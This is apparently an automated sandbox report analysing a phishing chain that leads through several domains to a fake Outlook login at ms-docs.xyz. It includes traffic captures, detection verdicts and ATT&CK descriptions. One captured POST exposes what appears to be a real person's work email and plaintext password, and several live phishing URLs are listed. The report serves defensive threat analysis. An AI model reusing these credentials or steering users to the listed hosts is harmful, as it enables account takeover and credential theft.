Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:33:07 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:33:07 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:33:07 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 1402e90e-d01e-0049-106c-43e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143307Z-174f7845968px8v7hC1EWR08ng00000016dg000000000px4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:33:07 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.9	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:33:07 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:33:08 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:33:07 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 3a28b270-401e-00ac-75b5-430a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143307Z-174f7845968qj8jrhC1EWRh41s000000163g000000002bre x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:33:08 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.9	49853	101.99.88.62	443	1184	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:33:07 UTC	1072	OUT	POST /auth/auth.php HTTP/1.1 Host: www.ms-docs.xyz Connection: keep-alive Content-Length: 104 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://www.ms-docs.xyz Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://www.ms-docs.xyz/auth/login.php?c=1jEW&replaceCurrent=1&url=http%3A%2F%2Fnationaltubesupply.com Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cookieTest=1; logondata=acc=0&lgn=garythrow@nationaltubesupply.com; PHPSESSID=64164147a0126881c9cba57751d03b4f; PrivateComputer=true; PBack=0
2024-12-03 14:33:07 UTC	104	OUT	Data Raw: 75 73 65 72 6e 61 6d 65 3d 67 61 72 79 74 68 72 6f 77 25 34 30 6e 61 74 69 6f 6e 61 6c 74 75 62 65 73 75 70 70 6c 79 2e 63 6f 6d 26 70 61 73 73 77 6f 72 64 3d 43 6a 70 33 74 2e 25 35 45 5a 25 33 43 25 32 33 26 70 61 73 73 77 6f 72 64 54 65 78 74 3d 26 69 73 55 74 66 38 3d 31 26 73 65 6e 64 3d 73 75 62 6d 69 74 Data Ascii: username=garythrow%40nationaltubesupply.com&password=Cjp3t.%5EZ%3C%23&passwordText=&isUtf8=1&send=submit
2024-12-03 14:33:13 UTC	423	IN	HTTP/1.1 302 Found Date: Tue, 03 Dec 2024 14:33:07 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Location: login.php?c=1jEW&replaceCurrent=1&reason=2&url=http%3A%2F%2Fnationaltubesupply.com X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.9	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:33:07 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:33:08 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:33:08 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 7dc3d7f2-801e-00a0-097c-432196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143308Z-174f7845968cdxdrhC1EWRg0en000000161g000000009sap x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:33:08 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.9	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:33:07 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:33:08 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:33:08 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: fea72aef-601e-00ab-3c71-4066f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143308Z-174f7845968kdththC1EWRzvxn0000000kc000000000f4gu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:33:08 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Target ID:	1
Start time:	09:32:02
Start date:	03/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff6b2cb0000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	09:32:07
Start date:	03/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=2004,i,5595098114328850437,5737891154846848419,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6b2cb0000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	09:32:14
Start date:	03/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://oyatsu-jikan.org/#Z2FyeXRocm93JG5hdGlvbmFsdHViZXN1cHBseS5jb20="
Imagebase:	0x7ff6b2cb0000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Source: https://www.web-api.top/?email=	Avira URL Cloud: Label: phishing
Source: http://www.aniyoshi.com	Avira URL Cloud: Label: malware
Source: https://www.ms-docs.xyz/auth/resources/segoeui-semilight.ttf	Avira URL Cloud: Label: phishing
Source: https://www.ms-docs.xyz/auth?email=garythrow@nationaltubesupply.com&sessid=MTczMzIzNjM0MzI4MjU0OTU5ZWFhNTZkNDI5NmZkZDQ5YTk4NGFlMzg0ZmI5NmNmZDFlY2Y1ODllYzBkZDdiZmU5YTJiNjEzZGJiMWZiNjlhMw==	Avira URL Cloud: Label: phishing
Source: https://www.ms-docs.xyz/auth/?email=garythrow@nationaltubesupply.com&sessid=MTczMzIzNjM0MzI4MjU0OTU5ZWFhNTZkNDI5NmZkZDQ5YTk4NGFlMzg0ZmI5NmNmZDFlY2Y1ODllYzBkZDdiZmU5YTJiNjEzZGJiMWZiNjlhMw==	Avira URL Cloud: Label: phishing
Source: https://www.ms-docs.xyz/auth/resources/segoeui-regular.ttf	Avira URL Cloud: Label: phishing
Source: https://www.ms-docs.xyz/auth/resources/favicon.ico	Avira URL Cloud: Label: phishing

Source: https://www.ms-docs.xyz/auth/login.php?c=1jEW&replaceCurrent=1&url=http%3A%2F%2Fnationaltubesupply.com	Joe Sandbox AI: Score: 9 Reasons: The brand 'Outlook' is well-known and is associated with Microsoft., The legitimate domain for Outlook is 'outlook.com', which is owned by Microsoft., The URL 'www.ms-docs.xyz' does not match the legitimate domain for Outlook., The domain 'ms-docs.xyz' is suspicious as it does not relate to any known Microsoft domain., The use of 'ms' could be an attempt to mimic 'Microsoft', which is a common phishing tactic., The domain extension '.xyz' is unusual for a well-known brand like Outlook, which typically uses '.com'., The presence of input fields for email and password on a suspicious domain increases the risk of phishing. DOM: 2.1.pages.csv
Source: https://www.ms-docs.xyz/auth/login.php?c=1jEW&replaceCurrent=1&reason=2&url=http%3A%2F%2Fnationaltubesupply.com	Joe Sandbox AI: Score: 9 Reasons: The brand 'Outlook' is well-known and is associated with Microsoft., The legitimate domain for Outlook is 'outlook.com', which is owned by Microsoft., The URL 'www.ms-docs.xyz' does not match the legitimate domain for Outlook., The domain 'ms-docs.xyz' is suspicious as it does not relate to any known Microsoft domain., The use of 'ms' could be an attempt to mimic 'Microsoft', which is a common phishing tactic., The domain extension '.xyz' is unusual for a well-known brand like Outlook, which typically uses '.com'., The presence of input fields for 'Email address' and 'Password' on a suspicious domain increases the risk of phishing. DOM: 3.2.pages.csv

Source: Yara match	File source: 2.1.pages.csv, type: HTML
Source: Yara match	File source: 3.2.pages.csv, type: HTML

Source: 0.0.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://oyatsu-jikan.org/#Z2FyeXRocm93JG5hdGlvbmFs...High-risk script showing multiple red flags: 1) Uses base64 encoding/decoding for obfuscation (+3), 2) Redirects to suspicious domain 'ofdls.online' (+3), 3) Contains commented-out redirects to multiple suspicious domains suggesting fallback mechanisms (+2), 4) Manipulates email addresses and uses them in redirects, indicating potential credential harvesting (+1). Additional risk due to suspicious domain patterns and apparent phishing behavior (+1).
Source: 0.1.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://ofdls.online/#Z2FyeXRocm93QG5hdGlvbmFsdHVi...High risk due to multiple concerning behaviors: 1) Uses base64 decoding of URL hash, potentially obfuscating malicious data (+3), 2) Redirects to suspicious domain 'ms-docs.xyz' which appears to be impersonating Microsoft (+3), 3) Passes encoded user data as URL parameter (+2). Additional risk due to presence of commented-out suspicious domains and apparent phishing infrastructure (+1). Domain naming pattern suggests credential harvesting attempt.

Source: Yara match	File source: 2.1.pages.csv, type: HTML
Source: Yara match	File source: 3.2.pages.csv, type: HTML

Source: https://www.ms-docs.xyz/auth/login.php?c=1jEW&replaceCurrent=1&url=http%3A%2F%2Fnationaltubesupply.com	HTTP Parser: Number of links: 0
Source: https://www.ms-docs.xyz/auth/login.php?c=1jEW&replaceCurrent=1&reason=2&url=http%3A%2F%2Fnationaltubesupply.com	HTTP Parser: Number of links: 0

Source: https://www.ms-docs.xyz/auth/login.php?c=1jEW&replaceCurrent=1&url=http%3A%2F%2Fnationaltubesupply.com	HTTP Parser: Total embedded image size: 23460
Source: https://www.ms-docs.xyz/auth/login.php?c=1jEW&replaceCurrent=1&reason=2&url=http%3A%2F%2Fnationaltubesupply.com	HTTP Parser: Total embedded image size: 23460

Source: https://www.ms-docs.xyz/auth/login.php?c=1jEW&replaceCurrent=1&url=http%3A%2F%2Fnationaltubesupply.com	HTTP Parser: Title: Outlook does not match URL
Source: https://www.ms-docs.xyz/auth/login.php?c=1jEW&replaceCurrent=1&reason=2&url=http%3A%2F%2Fnationaltubesupply.com	HTTP Parser: Title: Outlook does not match URL

Source: https://www.ms-docs.xyz/auth/login.php?c=1jEW&replaceCurrent=1&url=http%3A%2F%2Fnationaltubesupply.com	HTTP Parser: Form action: auth.php
Source: https://www.ms-docs.xyz/auth/login.php?c=1jEW&replaceCurrent=1&reason=2&url=http%3A%2F%2Fnationaltubesupply.com	HTTP Parser: Form action: auth.php

Source: https://www.ms-docs.xyz/auth/login.php?c=1jEW&replaceCurrent=1&url=http%3A%2F%2Fnationaltubesupply.com	HTTP Parser: <input type="password" .../> found
Source: https://www.ms-docs.xyz/auth/login.php?c=1jEW&replaceCurrent=1&reason=2&url=http%3A%2F%2Fnationaltubesupply.com	HTTP Parser: <input type="password" .../> found

Source: https://www.ms-docs.xyz/auth/login.php?c=1jEW&replaceCurrent=1&url=http%3A%2F%2Fnationaltubesupply.com	HTTP Parser: No <meta name="author".. found
Source: https://www.ms-docs.xyz/auth/login.php?c=1jEW&replaceCurrent=1&reason=2&url=http%3A%2F%2Fnationaltubesupply.com	HTTP Parser: No <meta name="author".. found

Source: https://www.ms-docs.xyz/auth/login.php?c=1jEW&replaceCurrent=1&url=http%3A%2F%2Fnationaltubesupply.com	HTTP Parser: No <meta name="copyright".. found
Source: https://www.ms-docs.xyz/auth/login.php?c=1jEW&replaceCurrent=1&reason=2&url=http%3A%2F%2Fnationaltubesupply.com	HTTP Parser: No <meta name="copyright".. found

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: www.ms-docs.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: www.ms-docs.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: www.ms-docs.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: www.ms-docs.xyz

Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.11
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.11
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.11
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.11
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: oyatsu-jikan.org
Source: global traffic	DNS traffic detected: DNS query: ofdls.online
Source: global traffic	DNS traffic detected: DNS query: www.ms-docs.xyz

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://oyatsu-jikan.org/#Z2FyeXRocm93JG5hdGlvbmFsdHViZXN1cHBseS5jb20=

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

